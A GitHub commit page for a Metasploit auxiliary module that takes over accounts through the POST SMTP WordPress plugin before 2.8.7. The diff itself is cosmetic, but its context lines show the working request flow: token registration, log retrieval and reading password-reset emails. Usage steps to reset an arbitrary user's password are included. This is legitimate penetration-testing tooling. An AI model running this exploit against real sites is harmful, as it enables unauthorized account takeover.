Skip to content

Commit

Permalink
peer review
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Nov 28, 2024
1 parent 2b593bc commit 1906646
Show file tree
Hide file tree
Showing 2 changed files with 13 additions and 17 deletions.
Original file line number Diff line number Diff line change
@@ -1,10 +1,9 @@
## Vulnerable Application

The POST SMTP WordPress plugin
prior to 2.8.7 is affected by a privilege escalation where an unauthenticated
user is able to reset the password of an arbitrary user. This is done by
requesting a password reset, then viewing the latest email logs to find
the associated password reset email.
The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
escalation where an unauthenticated user is able to reset the password
of an arbitrary user. This is done by requesting a password reset, then
viewing the latest email logs to find the associated password reset email.

### Install

Expand Down Expand Up @@ -51,6 +50,7 @@ volumes:
7. Enable the post-smtp plugin, select "default" for the SMTP service
1. Complete the setup using random information, it isn't validated.
8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244
1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes.


## Verification Steps
Expand All @@ -60,10 +60,10 @@ volumes:
3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover`
4. Do: `set rhost 127.0.0.1`
5. Do: `set rport 5555`
6. `set ssl false`
7. `set username <username>`
8. `set verbose true`
9. `run`
6. Do: `set ssl false`
7. Do: `set username <username>`
8. Do: `set verbose true`
9. Do: `run`
10. Visit the output URL to reset the user's password.

## Options
Expand Down
12 changes: 4 additions & 8 deletions modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,11 +13,10 @@ def initialize(info = {})
info,
'Name' => 'Wordpress POST SMTP Account Takeover',
'Description' => %q{
The POST SMTP WordPress plugin
prior to 2.8.7 is affected by a privilege escalation where an unauthenticated
user is able to reset the password of an arbitrary user. This is done by
requesting a password reset, then viewing the latest email logs to find
the associated password reset email.
The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
escalation where an unauthenticated user is able to reset the password
of an arbitrary user. This is done by requesting a password reset, then
viewing the latest email logs to find the associated password reset email.
},
'Author' => [
'h00die', # msf module
Expand Down Expand Up @@ -51,7 +50,6 @@ def register_token
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
Expand Down Expand Up @@ -82,7 +80,6 @@ def run
print_status('Requesting logs')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
Expand All @@ -93,7 +90,6 @@ def run
print_status("Requesting email content from logs for ID #{doc_id}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'fcm-token' => token, 'device' => device },
'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
)
Expand Down

0 comments on commit 1906646

Please sign in to comment.